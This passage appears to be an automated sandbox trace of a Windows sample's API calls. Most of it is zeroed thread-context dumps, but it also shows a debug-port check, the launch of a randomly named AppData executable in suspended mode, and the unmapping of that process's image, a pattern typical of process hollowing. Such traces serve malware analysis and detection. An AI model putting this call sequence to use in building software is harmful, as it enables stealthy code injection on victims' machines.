[124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0112.147] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x7, ProcessInformation=0x18f2f4, ProcessInformationLength=0x4, ReturnLength=0x0 | out: ProcessInformation=0x18f2f4, ReturnLength=0x0) returned 0x0 [0112.159] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x3a65004 | out: Context=0x3a65004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0112.160] CreateProcessInternalW (in: hUserToken=0x0, lpApplicationName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe", lpCommandLine="C:\\Users\\aETAdzjz\\AppData\\Roaming\\fghvhghvgfdgfhchfg.exe", lpProcessAttributes=0x3a60000, lpThreadAttributes=0x3a60000, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x3a60400*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x3a60800, hNewToken=0x0 | out: lpProcessInformation=0x3a60800*(hProcess=0x140, hThread=0x13c, dwProcessId=0xd78, dwThreadId=0xd7c), hNewToken=0x0) returned 1 [0112.168] LoadLibraryA (lpLibFileName="ntdll") returned 0x77bb0000 [0112.174] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x3a65004 | out: Context=0x3a65004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0x0, SegDs=0x0, Edi=0x0, Esi=0x0, Ebx=0x0, Edx=0x0, Ecx=0x0, Eax=0x0, Ebp=0x0, Eip=0x0, SegCs=0x0, EFlags=0x0, Esp=0x0, SegSs=0x0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x0, [193]=0x0, [194]=0x0, [195]=0x0, [196]=0x0, [197]=0x0, [198]=0x0, [199]=0x0, [200]=0x0, [201]=0x0, [202]=0x0, [203]=0x0, [204]=0x0, [205]=0x0, [206]=0x0, [207]=0x0, [208]=0x0, [209]=0x0, [210]=0x0, [211]=0x0, [212]=0x0, [213]=0x0, [214]=0x0, [215]=0x0, [216]=0x0, [217]=0x0, [218]=0x0, [219]=0x0, [220]=0x0, [221]=0x0, [222]=0x0, [223]=0x0, [224]=0x0, [225]=0x0, [226]=0x0, [227]=0x0, [228]=0x0, [229]=0x0, [230]=0x0, [231]=0x0, [232]=0x0, [233]=0x0, [234]=0x0, [235]=0x0, [236]=0x0, [237]=0x0, [238]=0x0, [239]=0x0, [240]=0x0, [241]=0x0, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0x0, [247]=0x0, [248]=0x0, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0x0, [259]=0x0, [260]=0x0, [261]=0x0, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x0, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x0, [273]=0x0, [274]=0x0, [275]=0x0, [276]=0x0, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0x0, [283]=0x0, [284]=0x0, [285]=0x0, [286]=0x0, [287]=0x0, [288]=0x0, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x0, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x0, [297]=0x0, [298]=0x0, [299]=0x0, [300]=0x0, [301]=0x0, [302]=0x0, [303]=0x0, [304]=0x0, [305]=0x0, [306]=0x0, [307]=0x0, [308]=0x0, [309]=0x0, [310]=0x0, [311]=0x0, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x0, [317]=0x0, [318]=0x0, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x0, [325]=0x0, [326]=0x0, [327]=0x0, [328]=0x0, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x0, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x0, [337]=0x0, [338]=0x0, [339]=0x0, [340]=0x0, [341]=0x0, [342]=0x0, [343]=0x0, [344]=0x0, [345]=0x0, [346]=0x0, [347]=0x0, [348]=0x0, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x0, [353]=0x0, [354]=0x0, [355]=0x0, [356]=0x0, [357]=0x0, [358]=0x0, [359]=0x0, [360]=0x0, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x0, [366]=0x0, [367]=0x0, [368]=0x0, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0x0, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0x0, [381]=0x0, [382]=0x0, [383]=0x0, [384]=0x0, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x0, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x0, [397]=0x0, [398]=0x0, [399]=0x0, [400]=0x0, [401]=0x0, [402]=0x0, [403]=0x0, [404]=0x0, [405]=0x0, [406]=0x0, [407]=0x0, [408]=0x0, [409]=0x0, [410]=0x0, [411]=0x0, [412]=0x0, [413]=0x0, [414]=0x0, [415]=0x0, [416]=0x0, [417]=0x0, [418]=0x0, [419]=0x0, [420]=0x0, [421]=0x0, [422]=0x0, [423]=0x0, [424]=0x0, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x0, [429]=0x0, [430]=0x0, [431]=0x0, [432]=0x0, [433]=0x0, [434]=0x0, [435]=0x0, [436]=0x0, [437]=0x0, [438]=0x0, [439]=0x0, [440]=0x0, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0x0, [445]=0x0, [446]=0x0, [447]=0x0, [448]=0x0, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x0, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x0, [461]=0x0, [462]=0x0, [463]=0x0, [464]=0x0, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0x0, [469]=0x0, [470]=0x0, [471]=0x0, [472]=0x0, [473]=0x0, [474]=0x0, [475]=0x0, [476]=0x0, [477]=0x0, [478]=0x0, [479]=0x0, [480]=0x0, [481]=0x0, [482]=0x0, [483]=0x0, [484]=0x0, [485]=0x0, [486]=0x0, [487]=0x0, [488]=0x0, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0x0, [493]=0x0, [494]=0x0, [495]=0x0, [496]=0x0, [497]=0x0, [498]=0x0, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0x0, [509]=0x0, [510]=0x0, [511]=0x0))) returned 0x0 [0112.179] NtUnmapViewOfSection (ProcessHandle=0x140, BaseAddress=0x400000) returned 0x0 [0112.185] NtGetContextThread (in: ThreadHandle=0xfffffffe, Context=0x3a65004 | out: Context=0x3a65004*(ContextFlags=0x10010, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, FloatSave.ControlWord=0x0, FloatSave.StatusWord=0x0, FloatSave.TagWord=0x0, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x0, FloatSave.DataOffset=0x0, FloatSave.DataSelector=0x0, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, 